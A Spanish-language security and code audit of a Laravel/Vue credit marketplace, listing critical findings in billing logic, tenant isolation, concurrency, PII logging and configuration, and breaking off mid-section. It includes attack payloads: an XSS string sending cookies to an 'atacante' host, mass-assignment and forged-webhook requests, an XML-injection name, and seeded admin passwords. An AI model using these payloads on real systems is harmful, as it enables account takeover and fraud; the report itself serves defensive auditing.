Saltearse al contenido

17 - Hallazgos Críticos Adicionales (Segunda Pasada Profunda)

Fecha: 2026-05-26 Alcance: Hallazgos críticos no documentados en los archivos 01-16 ni en el reporte de validación inicial Método: auditoría dirigida por 8 agentes especializados en paralelo + revisión independiente de configuración, seeders, CI/CD, frontend XSS, multi-tenancy y mass-assignment Resultado final: 154 hallazgos NUEVOS (54 críticos, 69 altos, 31 medios) que no aparecen en la auditoría inicial. Conteo de bugs únicos (descontando overlap entre categorías): ~135.


Resumen Ejecutivo

La auditoría inicial (docs/audit/01-16) cubrió estructura, flujos y bugs visibles a nivel de capa de servicios. Esta segunda pasada va mucho más profundo y descubre vulnerabilidades que ningún recorrido de documentación habría encontrado.

Veredicto en una línea

Mi Plante en su estado actual no debe procesar nuevas ventas hasta corregir al menos los 12 hallazgos críticos listados en la PARTE 1.

Razones específicas:

  • Sobre-cobro sistemático del 100%+ a cada cliente que compre cantidades > 1 (F-001 → bug compuesto)
  • Sobre-cobro del 200-300% en la fianza durante primer cuarto de cuotas (F-FIN-2)
  • Cualquier empleado puede crearse cuenta de administrador y otorgarse cupo ilimitado en 2 requests HTTP (F-001 + F-002)
  • Webhook de Certicámara sin firma → cualquiera puede falsificar “pagaré firmado” para cualquier cliente (F-011)
  • Datos sensibles de cliente (DNI, HDC, OTP, score, score crediticio) almacenados en plain text en 6 lugares distintos sin retención ni cifrado (F-PII-1..6 → violación de Habeas Data Ley 1581 + Ley 1266)

Conteo por categoría (FINAL — 8 de 8 agentes completados)

CategoríaFindingsCríticosAltosMedios
Multi-tenancy / Aislamiento de aliados15951
Mass Assignment / Escalación de privilegios5410
Race conditions & concurrencia15573
Cálculos financieros y de cuotas15483
Seguridad profunda (XSS, XXE, MITM, OTP)185103
Logging de PII y tokens (Habeas Data)15672
Integridad de datos / state machines15258
Performance / N+1 / índices15573
Dead code & código roto adicional20983
Seeders con credenciales débiles2200
Configuración / despliegue / CI-CD6132
Intent vs Implementation (UML del cliente)13283
TOTAL FINAL154546931

Nota: existe overlap entre categorías (algunos findings se mencionan en 2 categorías). El conteo de bugs únicos es ~135.


PARTE 1 — TOP 12 HALLAZGOS CRÍTICOS DE NIVEL EJECUTIVO

Estos 12 hallazgos son los más críticos del sistema. Cada uno representa una vulnerabilidad catastrófica verificable hoy en producción.

F-001 [CRITICAL] — procesarCarrito() infla el subtotal multiplicando cantidad dos veces

Archivos: app/Http/Controllers/Market/VentaController.php:187, app/Services/VentaService.php:152-154

procesarCarrito() calcula $montoItem = $item->precio->precio * $item->cantidad, pasa eso como monto junto a cantidad. Luego VentaService::crearVenta vuelve a multiplicar cantidad * monto.

Aritmética con datos reales:

  • Cliente compra 2 unidades de un producto de 500.000 COP → total esperado 1.000.000 COP
  • Sistema almacena subtotal = 2.000.000 (doble)
  • A 12 cuotas, 1.914% mensual, 1% seguro → cliente paga ~2.257.000 COP en vez de ~1.128.500 → +128.5% de sobrecobro fraudulento
  • El cupo se descuenta a 2M en vez de 1M
  • Las cuotas se calculan sobre 2M
  • El Core Crédito SHIVAM registra crédito por 2M

Este bug es ya conocido en el reporte de validación pero su impacto numérico no estaba cuantificado.


F-002 [CRITICAL] — Cliente::$fillable expone cupo_asignado y cupo_disponible a mass assignment

Archivos: app/Http/Controllers/Aliado/UserController.php:127-133, app/Models/Cliente.php:55-77

// UserController::update
if ($request->has('cliente') && $user->cliente) {
$clienteData = $request->input('cliente'); // Sin validar
if (is_array($clienteData)) {
$user->cliente->update($clienteData); // $fillable incluye cupo_asignado, cupo_disponible
}
}

Cliente::$fillable incluye:

  • cupo_asignado, cupo_disponible, cupo_vence_en
  • pagare_firmado_en, certicamara_uuid, puede_intentar_firmar_pagare_en
  • registro_completado_en, vcard

Escenario de ataque:

PUT /aliados/usuarios/{victimUserId}
{ "cliente": { "cupo_asignado": "999999999", "cupo_disponible": "999999999", "pagare_firmado_en": "2026-01-01T00:00:00Z" } }

Resultado: víctima recibe 999 millones de COP de cupo sin pasar por aprobación, sin EMCALI, sin TransUnion, sin DataCrédito, sin Certicámara. Combinado con F-003 (cualquier empleado puede crearse administrador) → escalación completa en 2 requests HTTP.


F-003 [CRITICAL] — Privilege escalation: cualquier empleado puede crearse cuenta de administrador

Archivo: app/Http/Controllers/AliadoAuth/RegisteredUserController.php:207-307 Ruta: POST /aliados/usuarios/admin/crear (solo auth:app)

$validated = $request->validate([
'rol' => 'required|string|in:administrador,administrador_comercial,administrador_financiero',
...
]);
$user = $this->userService->crearUsuario($crearUserDTO);
$empresa = Empresa::find(1); // Empresa MASTER

No verifica que el usuario solicitante sea administrador. Un empleado envía POST y crea un administrador. Logueo, control total.


F-004 [CRITICAL] — Sobrecobro 200-300% en la fianza por bug de variable mal nombrada

Archivo: app/Services/VentaService.php:579,610

$cuartoDeCuotas = (int) floor($numeroCuotas / 4);
$fianzaPorCuotas = round(($principal * $porcentajeFianza), 2); // ¡Es el TOTAL, no por cuota!
...
$montoFianza = ($i <= $cuartoDeCuotas) ? $fianzaPorCuotas : 0; // Cobra el TOTAL en cada cuota

El nombre de variable engaña: fianzaPorCuotas es la fianza total, no la fianza por cuota. Cada una de las primeras cuartoDeCuotas cuotas recibe la fianza completa.

Aritmética real: Crédito 1.000.000 COP × 3% fianza = 30.000 COP fianza total esperada.

  • Frontend (credit.ts) divide bien: 10.000/mes × 3 cuotas = 30.000 ✓
  • Backend cobra: 30.000 × 3 cuotas = 90.0003× sobrecobro

Cliente ve en checkout “Fianza: 30.000 COP” pero su deuda real es 90.000 COP en fianza.


F-005 [CRITICAL] — Webhook de Certicámara sin verificación de firma

Archivo: app/Http/Controllers/Webhooks/CerticamaraController.php:13-42

No hay verificación HMAC, no hay validación de origen IP, no hay autenticación. Cualquier persona en internet con acceso al endpoint /api/v1/webhooks/certicamara puede falsificar un evento “signed” para cualquier UUID de cliente.

Escenario de ataque: Atacante consigue un certicamara_uuid (vía logs filtrados — F-PII-3 — o vía SSRF, o adivinando un UUID v4 — 122 bits pero pueden filtrar) → envía:

POST /api/v1/webhooks/certicamara
{ "uuid": "<known-uuid>", "state": "signed", ... }

→ cliente queda con pagare_firmado_en = now() → se generan cuotas, se aprueba la venta, se descuenta cupo → aliado recibe la mercancía con un pagaré que nunca fue firmado → no es ejecutable legalmente


F-006 [CRITICAL] — Job dispatched DENTRO de transacción abierta, con queue.after_commit: false

Archivos: app/Services/VentaService.php:245,403, config/queue.php (después de implementarse, en este repo no se ha cambiado el default)

GenerarCreditoDeVenta::dispatch(...) se hace dentro de una DB::transaction() abierta. Como after_commit: false, un worker de cola puede levantar el job antes de que se commitee la transacción. El worker entonces:

  • Lee Venta, Cliente, OrdenCompra que aún no están en BD → ModelNotFoundException
  • O lee versiones stale → opera con datos incorrectos
  • Si la transacción del dispatcher hace rollback, el worker ya creó el crédito en CoreCredito → se cobra al cliente sin que exista la venta

F-007 [CRITICAL] — Race condition: oversell de inventario sin lockForUpdate()

Archivos: app/Services/VentaService.php:172-179, 261-263, 419-422

Dos compras concurrentes del mismo producto leen precio.inventario = 1 simultáneamente, ambas pasan validación, ambas decrementan a 0, ambas commitean. Resultado: 2 ventas vendidas, 1 unidad real → cliente queda esperando producto que no existe + reembolsos manuales + reputación.

Cero usos de lockForUpdate() en todo el codebase. Cero atomic decrements (DB::raw('inventario - ?')). El sistema es vulnerable a oversell bajo cualquier carga concurrente.


F-008 [CRITICAL] — Tenant isolation rota: 15 endpoints permiten acceder a datos de otros aliados

Múltiples archivos: ver PARTE 4 (sección Multi-Tenancy)

Resumen: El portal de aliados (auth:app guard) carece de tenant isolation:

  • Cualquier aliado puede DELETE /aliados/ventas/{id} sobre venta de otro aliado
  • Cualquier aliado puede modificar productos de otro aliado
  • Cualquier aliado puede borrar empresas, sucursales, empleados de otros aliados
  • Cualquier aliado puede enumerar TODOS los clientes del sistema (DNI, cupo, mora)
  • Cualquier aliado puede aprobar/rechazar postulaciones de nuevos aliados

15 endpoints afectados. Cero Policies. Cero Gates. Cero authorize() calls.


F-009 [CRITICAL] — XML Injection en SOAP de Core Crédito (cupo manipulable en banking core)

Archivo: app/Services/CoreCreditoService.php:219-268, 282-302, 312-329

return <<<XML
...
<ifx:ClientName1>{$datos['primer_nombre']}</ifx:ClientName1>
<ifx:HomeAddress>{$datos['direccion']}</ifx:HomeAddress>
...
XML;

Ningún campo se escapa antes de la interpolación. Un cliente puede registrarse con nombres = "</ifx:ClientName1><ifx:CreditLimit>999999999</ifx:CreditLimit><ifx:ClientName1>" y el envelope SOAP queda con elementos inyectados que el banking core procesa como legítimos → manipulación de cupo en banking core.


F-010 [CRITICAL] — TLS verification disabled en Core Crédito (MITM total)

Archivo: app/Services/CoreCreditoService.php:67-69, 127-129, 187-189

->withOptions(['verify' => false])

Todas las llamadas SOAP a SHIVAM viajan sin verificación de certificado. Cualquier atacante en la ruta (lateral movement en VPC, comprometido proxy/load balancer) puede leer y modificar envelopes con DNI, dirección, email, sex, vcard, monto de compra, límite de crédito.


F-011 [CRITICAL] — Seeders crean cuentas administrativas con contraseñas públicas

Archivos: database/seeders/EmpresaSeeder.php, database/seeders/ClienteAdministradorSeeder.php

EmpresaSeeder crea tres administradores con contraseña hardcoded Test1234.:

  • testadmin@example.com / Test1234. (administrador)
  • testadmincomercial@example.com / Test1234. (administrador_comercial)
  • testfinanciero@example.com / Test1234. (administrador_financiero)

ClienteAdministradorSeeder:53:

'password' => $empresa->identificacion, // ¡NIT (PÚBLICO) COMO CONTRASEÑA!

Si estos seeders alguna vez se corrieron en producción (o si la base productiva se migró desde un entorno con seeders), existen cuentas administrativas con credenciales triviales o públicas. Combinado con falta de rate limiting en login aliado (ya documentado) → toma de control en segundos.


F-012 [CRITICAL] — XSS almacenado en Producto.descripcion

Archivo: resources/js/pages/product/Detail.vue:582

<div v-else v-html="desc"></div>

Sin sanitización. Cualquier aliado puede crear un producto con descripción:

<img src=x onerror="fetch('https://atacante/log?cookie='+document.cookie)">

Cada visitante (cliente con sesión válida) ejecuta el JS → robo de cookie → secuestro de cuenta → checkout fraudulento con tarjetas guardadas. Combinado con F-008 (cualquier aliado modifica productos de otros aliados), un atacante puede envenenar productos populares del competidor.


PARTE 2 — RACE CONDITIONS Y CONCURRENCIA (15 hallazgos)

F-CONC-1 [CRITICAL] Inventory oversell entre check y decrement

app/Services/VentaService.php:172-179, 261-263, 419-422 — Sin lockForUpdate(), sin atomic decrement. Detallado en F-007.

F-CONC-2 [CRITICAL] Inventario restaurado dos veces en colisión entre abandonment y rechazo de Certicámara

ProcesarOrdenesAbandonadas.php:57-61ValidarPagareDigital.php:195-208 — La orden marcada PENDIENTE > 60min puede ser procesada simultáneamente por el cron y por el webhook que indica state=blocked. Ambos restauran inventario. Compounded: ProcesarOrdenesAbandonadas no tiene transacción → estados inconsistentes posibles.

F-CONC-3 [CRITICAL] Job dispatched en transacción abierta + after_commit: false

Ya cubierto en F-006.

F-CONC-4 [CRITICAL] Retry de GenerarCreditoDeVenta causa doble pstPurchase en banking core

GenerarCreditoDeVenta.php:74-79, 88-95 (tries=3) — pstPurchase no es idempotente. Si la transacción local falla entre la llamada al banking core y el commit, el reintento dispara pstPurchase otra vez → cliente cobrado dos veces.

F-CONC-5 [HIGH] ConsultarCupoDelCliente middleware sobrescribe cupo en flight

ConsultarCupoDelCliente.php:30-39 — Una venta decrementa cupo localmente; el middleware en otra pestaña recarga cupo del core (con lag de replicación) → silently revierte el decremento.

F-CONC-6 [HIGH] Carrito sin unique constraint → doble carrito por doble-tap

CarritoService.php:34-52, 2025_08_25_035251_create_carritos_table.php (sin unique). Dos add to cart rápidos en móvil crean dos rows → procesarCarrito itera dos, inflación se compone con F-001.

F-CONC-7 [HIGH] Webhook Certicámara acepta replay (sin nonce ni HMAC)

Cubierto en F-005.

F-CONC-8 [HIGH] Race entre ProcesarOrdenesAbandonadas y ValidarPagareDigital

Ambos jobs pueden operar sobre la misma orden simultáneamente: o el cliente firma pagaré pero la orden ya está ABANDONADA, o la orden queda PROCESADA pero el cron restaura inventario.

F-CONC-9 [HIGH] OTP transaction ID sobrevive a verificación exitosa (ventana de replay 30min)

IdentityValidationService.php:262-355 — Cache no se limpia post-éxito. Atacante con OTP capturado puede reusarlo en otra sesión durante 30 minutos. También entre pestañas del mismo usuario: race condition en transaccion_otp_id.

F-CONC-10 [HIGH] ProcesarFilaProducto corrompe contadores de batch bajo workers concurrentes

ProcesarFilaProducto.php:40-61 — Read-modify-write sobre Cache::get('batch:X:history'). Lost updates → reportes batch incorrectos, errores silenciosamente swallowed.

F-CONC-11 [MEDIUM] cuotas sin unique(venta_id, numero_cuota) → cuotas duplicadas no detectadas

La generación duplicada (ya documentada) crearía 2N cuotas; un constraint UNIQUE en BD lo prevendría.

F-CONC-12 [MEDIUM] VentaCompletadaListener (dead code) doble-decrementaría cupo + inventario si se reviviera

Landmine dormida.

F-CONC-13 [MEDIUM] Race en registro con mismo DNI bypasea uniqueness

Auth/RegisteredUserController.php:62-75 — Validator hace exists() fuera de transacción. No hay unique index en BD para (tipo_dni, dni).

F-CONC-14 [MEDIUM] validarSiElClienteTieneSuCupoAprobado permite doble aprobación

AprobarCupoService.php:17-38 — Sin lock. Doble refresh en navegador puede aprobar y extender cupo dos veces.

F-CONC-15 [LOW] ExtenderCupoService::extender() no atómico → cupo inconsistente con banking core

Lectura del cupo se hace antes de venta concurrente → escritura posterior pisa la venta.


PARTE 3 — CÁLCULOS FINANCIEROS (15 hallazgos)

F-FIN-1 [CRITICAL] Subtotal double-multiplied por cantidad → +100% sobrecobro

Cubierto en F-001.

F-FIN-2 [CRITICAL] Fianza cobrada al valor total en cada cuota, no dividida

Cubierto en F-004.

F-FIN-3 [CRITICAL] porcentaje_fianza unit mismatch backend↔frontend

VentaService.php:576 lee config como decimal (0.03 = 3%). Simulator/Index.vue:49 y otros divide config entre 100. Si env=3 (entendido como %), backend cobra 300% fianza, frontend cobra 3%. Sin valor de env que satisfaga ambos.

F-FIN-4 [CRITICAL] generarCuotasPorOrden() omite fianza completamente

VentaService.php:644-752 — La ruta multi-empresa (cart con productos de múltiples aliados) no calcula fianza mientras la ruta single-empresa sí. Cobro inconsistente según composición del carrito.

F-FIN-5 [HIGH] Frontend/Backend usan formulas amortización divergentes

credit.ts:60-66 usa PMT francés constante. VentaService.php:599 usa fórmula iterativa con rounding por paso → divergencia en última cuota.

F-FIN-6 [HIGH] monthsWithBail con redondeo inconsistente (Math.ceil vs floor)

credit.ts:72 ceil, VentaService.php:578 floor, Detail.vue:277 floor — para numero_cuotas=10: frontend muestra 3 meses, backend cobra 2 meses.

F-FIN-7 [HIGH] dias_desfase declarado, expuesto al frontend, nunca aplicado por backend

Cliente ve “primera cuota en 8 días”. Backend pone fecha_vencimiento a +1 mes desde created_at. Backend marca vencida mientras cliente cree que faltan 3 semanas.

F-FIN-8 [HIGH] dia_pago y ciclo ignorados al generar fechas de cuota

Cliente tiene dia_pago=05 (enviado al banking core), pero VentaService.generarCuotas usa created_at->addMonth() → cliente cree que paga día 5, sistema lo marca vencido en otra fecha. Además addMonth() causa drift 31→28→28 sin recuperación.

F-FIN-9 [HIGH] Race condition de cupo en ventas paralelas (multi-empresa)

GenerarCreditoDeVenta.php:93 — sin atomic decrement. Dos jobs leen cupo stale, último escribe → lost update → cliente puede re-gastar cupo ya asignado.

F-FIN-10 [HIGH] VentaCompletadaListener (dead code) double-debit cupo + inventario si se revive

Landmine.

F-FIN-11 [HIGH] descuento_aplicado sin bound superior → total negativo posible

CrearVentaClienteRequest.php:33 — Solo min:0. Cliente envía descuento_aplicado = 999_999_999total = subtotal - 999M → muy negativo → cuotas negativas → sistema “paga” al cliente.

F-FIN-12 [HIGH] Type mismatch: ventas.subtotal/total son bigInteger pero código escribe floats

Migración usa bigInteger, código pasa floats → MySQL trunca centavos sin error. Centavos perdidos en cada transacción. descuento_aplicado además es float (precisión single).

F-FIN-13 [HIGH] Dos formatters de COP con comportamientos distintos

format.ts muestra decimales, formatters.ts no. Misma página puede usar ambos → cliente ve sumas inconsistentes (cuotas individuales sin decimales, total con).

F-FIN-14 [MEDIUM] monto_pagado acumulación con lost update race

PlanCreditoService.php:109 — RMW sin lock. Pagos concurrentes pierden uno. Además cap al monto esperado descarta sobrepagos sin registrarlos.

F-FIN-15 [MEDIUM] MarcarCuotasVencidas usa UTC contra fechas de Bogotá

config/app.php timezone UTC. Carbon now() UTC. Cuota due Jun 5 Bogotá se marca vencida temprano UTC.


PARTE 4 — TENANT ISOLATION (15 hallazgos)

15 endpoints en el portal de aliados sin tenant isolation. Ver detalle expandido en F-008. Vulnerabilidades clave:

  • F-TEN-1..6 [CRITICAL]: ventas, productos, empresas, sucursales, empleados, usuarios — todos sin ownership scope
  • F-TEN-7 [CRITICAL]: bulk import de productos acepta empresa_id arbitrario → polución del catálogo competidor
  • F-TEN-8,9 [HIGH]: ClienteController.search y presentaMora permiten enumerar TODA la base de clientes con DNI, cupo, mora
  • F-TEN-10 [CRITICAL]: VentaController.index con sucursal_id spoofed devuelve TODAS las ventas de competidor
  • F-TEN-11 [HIGH]: dashboard expone resúmenes financieros de cualquier sucursal vía query string
  • F-TEN-12 [CRITICAL]: PostulacionController::action permite que cualquier empleado apruebe/rechace postulaciones de nuevos aliados
  • F-TEN-13 [CRITICAL]: storeAdmin permite auto-elevación a administrador (cubierto en F-003)
  • F-TEN-14 [HIGH]: Reporte Comercial expone TODA la base con un rol global → si combina con auto-elevación = export completo de PII en 2 minutos
  • F-TEN-15 [MEDIUM]: empleados pueden ser creados en sucursales de otras empresas
  • F-TEN-16 [HIGH]: ventasPorUsuario route apunta a método que no existe → 500 / DoS surface

PARTE 5 — SEGURIDAD PROFUNDA (18 hallazgos)

Vulnerabilidades de inyección, autenticación y exposición

  • F-SEC-1 [CRITICAL] Mass assignment de Cliente (F-002, expandido)
  • F-SEC-2 [CRITICAL] User::$fillable con guard, rol, activo → escalación si algún endpoint usa User::create($request->all())
  • F-SEC-3 [CRITICAL] Webhook Certicámara sin HMAC (F-005)
  • F-SEC-4 [CRITICAL] XML Injection en SOAP CoreCredito (F-009)
  • F-SEC-5 [CRITICAL] TLS verify=false en CoreCredito (F-010)
  • F-SEC-6 [HIGH] Registro aliado marca email como Verified sin click-through → bypass del verified middleware. event(new Verified($user)) se dispara en store() antes de cualquier confirmación de email.
  • F-SEC-7 [HIGH] Signed URL de registro aliado válida 3 meses + el POST aliado-postulacion.register.store NO tiene signed middleware → URL reutilizable durante 90 días, y un solo signed link permite múltiples registros
  • F-SEC-8 [HIGH] Todos los responses de APIs (Experian, DataCrédito, Certicámara, CoreCrédito) se persisten en aprobar_cupo_eventos.contexto y/o logs MySQL en plaintext
  • F-SEC-9 [HIGH] OTP verify sin throttle por usuario → brute-force 10⁶ posible durante 30 min de cache
  • F-SEC-10 [HIGH] regValidacion y cache de OTP no se invalidan al logout → próximo usuario hereda
  • F-SEC-11 [HIGH] CompletarRegistroController acepta cupo_vence_en, numero_contrato del request → mass assignment parcial
  • F-SEC-12 [HIGH] XSS almacenado en producto (F-012)
  • F-SEC-13 [HIGH] Bulk upload sin mimes:xlsx,xls,csv (commented out), sin max:5120. PhpSpreadsheet vulnerable a XXE histórico
  • F-SEC-14 [HIGH] appearance y sidebar_state cookies NO encriptadas → patrón peligroso para nuevos cookies
  • F-SEC-15 [HIGH] bootstrap/app.php ApiExceptionHandler loguea headers + body + email → Authorization, Cookie, password, otp_code persistidos en backend_request_logs
  • F-SEC-16 [MEDIUM] DataCrédito requestUUID fijo: 3fa85f64-5717-4562-b3fc-2c963f66afa6 para todas las consultas → rompe trazabilidad regulatoria del bureau
  • F-SEC-17 [MEDIUM] /consultar-cupo con rand(1,6) para estratos falsos → oracle de enumeración de contratos
  • F-SEC-18 [MEDIUM] Aliado login sin CAPTCHA, sin rate limit, con timing oracle inactive-vs-wrong-password (sin Bcrypt dummy)

PARTE 6 — LOGGING DE PII Y HABEAS DATA (15 hallazgos)

Implicación regulatoria: Mi Plante está sujeto a:

  • Ley 1581 de 2012 (Habeas Data general)
  • Ley 1266 de 2008 (Habeas Data financiero / bureau de crédito)
  • Circular SFC Capítulo IV Título I (seguridad de la información)
  • Guía SIC de Habeas Data 2018

Multas potenciales: hasta 2.000 SMLMV (~$2.500 millones COP) por incidente + acción civil de afectados.

Hallazgos confirmados

  • F-PII-1 [CRITICAL] HDCValidationService.php:74-79 loguea respuesta HDC completa de DataCrédito (score + historial + cuentas) en Log::info. Esta data llega a single log + database channel → tabla logs MySQL → visible vía /aliados/log-viewer para cualquier administrador. Violación Ley 1266 art. 6.

  • F-PII-2 [CRITICAL] IdentityValidationService persiste en aprobar_cupo_eventos.contexto (JSONB sin retención):

    • DNI + tipoDoc + nombres + fecha expedición
    • OTP transaction ID + idTransaccionEmailOTP + regValidacion (¡bearer token activo 60 min!)
    • Hash SHA-256 del OTP código (brute-forceable: 10⁶ hashes ≈ instantáneo)
    • Respuestas de preguntas KBA (Knowledge-Based Authentication)
  • F-PII-3 [CRITICAL] CerticamaraController.php:15,33:

    • Log::info('Notificación recibida de Certicámara', $request->all()) → payload completo (UUID, biometric metadata, signed PDF URL) en log file
    • El payload pasa como segundo argumento del job → si el job falla, el payload completo queda en failed_jobs.payload JSON plaintext
  • F-PII-4 [CRITICAL] bootstrap/app.php:50-83 ApiExceptionHandler loguea:

    'headers' => $req->headers->all(), // Authorization, Cookie, X-CSRF-TOKEN
    'body' => $req->all(), // password, otp_code, dni, respuestas
    'user' => ['id', 'email']

    En cada error 500/422/401 → contenido en backend_request_logs MySQL. Login fail loguea password plaintext. OTP verify fail loguea código OTP. Habeas Data violation completa.

  • F-PII-5 [CRITICAL] personas table sin encrypted cast: dni, expedido_en, lugar_expedicion plain text. SFC + SIC esperan encryption at rest para identity documents. Adicionalmente DataCreditoService.php:254-258, 264-267 loguea DNI en clear en errores.

  • F-PII-6 [CRITICAL] errorInterceptor.ts:27-39 envía todo response body de cada axios call exitoso a /api/error-logs:

    await errorLogger.logSuccess({ ..., responseData: response.data });
    • ErrorLogController no tiene auth, no tiene rate limit, no tiene PII filter. Cualquier visita a perfil del cliente espeja cliente.persona.dni + cupo + mora en frontend_error_logs para siempre.
  • F-PII-7 [HIGH] DataCrédito OAuth tokens cacheados en BD (CACHE_STORE=database) plaintext durante 590s. SQL backup → tokens vivos.

  • F-PII-8 [HIGH] Core Crédito loguea raw_response XML completo en errores + envía credentials en headers + verify => false.

  • F-PII-9 [HIGH] Certicámara loguea nombre + DNI en pagaré + response con signed document URL (URL es token de auth para el PDF firmado).

  • F-PII-10 [HIGH] LegalCheck persiste array completo de hallazgos legales (TransUnion findings: OFAC, PEP, Clinton list, Interpol) en aprobar_cupo_eventos.contexto. Riesgo de defamation lawsuit si filtra.

  • F-PII-11 [HIGH] Sin correlation ID / tracing entre servicios. No hay Sentry, Bugsnag, Datadog, New Relic. Incident response prácticamente imposible.

  • F-PII-12 [HIGH] Ningún log tiene retención. Tablas backend_request_logs, frontend_error_logs, aprobar_cupo_eventos, logs crecen indefinidamente. Habeas Data Ley 1581 art. 4(f) caducidad.

  • F-PII-13 [HIGH] HandleInertiaRequests envía full User + cliente + clienteData en cada respuesta Inertia (incluida páginas de error). User.$hidden solo strippea password y remember_token → email, telefono, direccion, fecha_nacimiento, persona en cada página. Ziggy expone todas las rutas incluyendo aliado.* y /aliados/log-viewer.

  • F-PII-14 [MEDIUM] Password reset email expone walkthrough de login (revela username = email). Signed URL de postulación aprobada válida 3 meses.

  • F-PII-15 [MEDIUM] Frontend envía stack completo (con paths internos) a /api/error-logs. Sin source-map sanitization. Sin limit en validator (atacante puede enviar 10MB stack).


PARTE 7 — CONFIGURACIÓN Y DESPLIEGUE (6 hallazgos)

  • F-CFG-1 [CRITICAL] config/services.php:113 Core Crédito fallback hardcoded https://10.241.88.102:8443/HHOJAVASTOREDEVL/... — IP interna con “DEVL” en path
  • F-CFG-2 [HIGH] trxn_cmnt = "Trxn Capacitacion" — todas las transacciones bancarias marcadas como entrenamiento
  • F-CFG-3 [HIGH] .env.example default APP_ENV=local, APP_DEBUG=true → deploy típico cp .env.example .env arranca con debug ON
  • F-CFG-4 [HIGH] CI tests.yml ejecuta phpunit con phpunit.xml configurado para MySQL pero sin contenedor MySQL → tests fallan o se saltan silenciosamente
  • F-CFG-5 [MEDIUM] No hay Dockerfile, docker-compose, deploy script, IaC. Despliegues manuales.
  • F-CFG-6 [MEDIUM] composer.json aún identificado como laravel/vue-starter-kit. package.json con dos libs de notificación (sweetalert2 + vue3-toastify) duplicando funcionalidad.

PARTE 8 — INTEGRIDAD DE DATOS Y STATE MACHINES (15 hallazgos)

F-INT-1 [CRITICAL] OrdenCompraEstado::CANCELADA no existe — ImportarVentasDeCSV crashea

Archivo: app/Console/Commands/ImportarVentasDeCSV.php:410

EstadoVenta::ABANDONADA => OrdenCompraEstado::CANCELADA, // ¡no existe!

El enum solo tiene PENDIENTE, PROCESADA, RECHAZADA, ABANDONADA. Al importar ventas rechazadas, lanza Error: Undefined constant. El loop NO está en DB::transaction() → rows previos quedan persistidos en estado inconsistente.

F-INT-2 [CRITICAL] Empresa deletion destruye TODA la historia financiera

Archivos: migraciones empresas → sucursales → ventas → cuotas, todas con onDelete('cascade'). Empresa no usa SoftDeletes. Un solo DELETE FROM empresas WHERE id=2 borra: sucursales, ventas, cuotas, venta_detalles, productos, precios — años de historia crediticia. El cupo_disponible del cliente NO se restaura. No hay método eliminar() en EmpresaService pero un seeder o comando que use Eloquent borraría todo silenciosamente.

F-INT-3 [HIGH] VentaDetalle.precio_id cascadea en force delete de Precio

Soft-delete normal de Precio mantiene la FK, PERO Precio::query()->forceDelete() o limpieza de BD elimina las venta_detalles asociadas. Más grave: el withTrashed() no se usa en cascade-restoration paths, así que ProcesarOrdenesAbandonadas silently SKIPea inventario cuando precio está soft-deleted.

F-INT-4 [HIGH] Carrito sin snapshot de precio — race con admin updates

Tabla carritos solo tiene precio_id y cantidad. Cliente añade producto a $100k, aliado lo cambia a $1M, cliente paga $1M en checkout sin warning. Inversa: aliado lo cambia a $1 → cliente paga centavos.

F-INT-5 [HIGH] User.email globalmente único — mismo email no puede existir en ambos guards

Aliado registrado primero NO puede luego registrarse como cliente. El constraint en users.email es global (no (guard, email)). Comerciante de Cali que también es cliente: bloqueado.

F-INT-6 [HIGH] Down migration de orden_compras.estado apunta a enum inválido

2026_01_24_024750_add_rechazada_and_abandonada_to_orden_compras_estado.php:27 rollback usa ['procesada', 'completada', 'cancelada'] — valores que nunca estuvieron en el create migration original. Cualquier migrate:rollback en producción rompe o silently corrompe datos.

F-INT-7 [HIGH] numero_contrato sin uniqueness DB-level — race en registros

Migración: bigInteger('numero_contrato') sin unique. Solo validación app-level. Dos registros concurrentes con mismo contrato pasan ambos → mismo EMCALI contrato pertenece a dos cuentas. Cliente::where('numero_contrato', $x)->first() no determinístico.

F-INT-8 [HIGH] Cuotas tiene DOS FK (venta_id + orden_compra_id) — reportes doblan valores

generarCuotasPorOrden crea cuotas “master” con venta_id=null Y cuotas per-venta con ambos. Un orden de 12 cuotas × 3 empresas = 12 + 36 = 48 cuotas. Reportes que suman cuotas.monto por orden_compra_id doblan el valor. No hay constraint que enforce la invariante.

F-INT-9 [HIGH] user_empresa pivot permite sucursal_id de otra empresa

Aliado A puede crear empleado con sucursal_id de Empresa B. Pivot row inconsistente. Empleado aparece en ambas listas, sucursal de B ve ventas que registró el empleado de A.

F-INT-10 [MEDIUM] SKU no único dentro de empresa — bulk import duplica productos

Migración productos.sku solo string('sku')->nullable(). Doble upload del mismo XLSX crea dos productos con mismo SKU. Inventario fragmentado.

F-INT-11 [MEDIUM] Slug de productos globalmente único — colisión cross-tenant

Bulk import paraliza segundos empresa cuando dos empresas suben simultáneamente “Samsung TV 50”. uniqid() colisiona ~1/100k. Catch retorna duplicateSlug, producto invisible para el segundo aliado.

F-INT-12 [MEDIUM] certicamara_uuid no único — un mismo pagaré asignable a dos clientes

Migración sin unique constraint. Si Certicámara devuelve UUID stale/duplicado por su bug, dos clientes apuntan al mismo pagaré → webhook acredita al cliente equivocado.

F-INT-13 [MEDIUM] Cuota extends Model (no Modelo) → columnas created_at/updated_at mientras todo lo demás usa creado_en/actualizado_en

Inconsistencia que rompe queries que mezclan convenciones. Cuota::where('creado_en', ...) retorna vacío.

F-INT-14 [MEDIUM] numero_contrato como BIGINT — pierde ceros a la izquierda

EMCALI contratos pueden tener ceros iniciales (e.g., 0012345). Stored as BIGINT → 12345. Reconciliación con EMCALI falla.

F-INT-15 [MEDIUM] ProcesarPagareDigital logea estado_final = PROCESADA pero NO actualiza el modelo

ProcesarPagareDigital.php:153 solo logea; el cambio real lo hace GenerarCreditoDeVenta por venta. En multi-empresa cart, una venta exitosa marca PROCESADA aunque otras ventas estén RECHAZADA → reportes contables ven el total completo como venta exitosa.


PARTE 9 — PERFORMANCE Y ESCALABILIDAD (15 hallazgos)

F-PERF-1 [CRITICAL] Cada respuesta XHR exitosa escribe row en frontend_error_logs

errorInterceptor.ts:27-39 envía logSuccess por TODA petición axios. /api/error-logs sin throttle, sin auth. 1.000 usuarios concurrentes × 5-10 calls/min = 5.000-10.000 inserts/min en tabla sin índices ni retención.

F-PERF-2 [CRITICAL] HandleInertiaRequests envía 200-500KB por request

  • brands_allied = Marca::all()->toArray() — ~50KB con 500 marcas
  • user_stats = 4 colecciones × 15 productos × eager-load profundo = 200-500KB
  • auth.user sin field whitelist → expone cada columna del User
  • clienteData envía cupo, mora, persona completos

Inertia ships shared props en cada navegación. Total: ~500KB por full page visit. Combinado con axios timeout: 300_000ms, un slow shared-props fetch acumula requests indefinidamente.

F-PERF-3 [CRITICAL] Cache stampede en lineas, brands_allied, user_stats

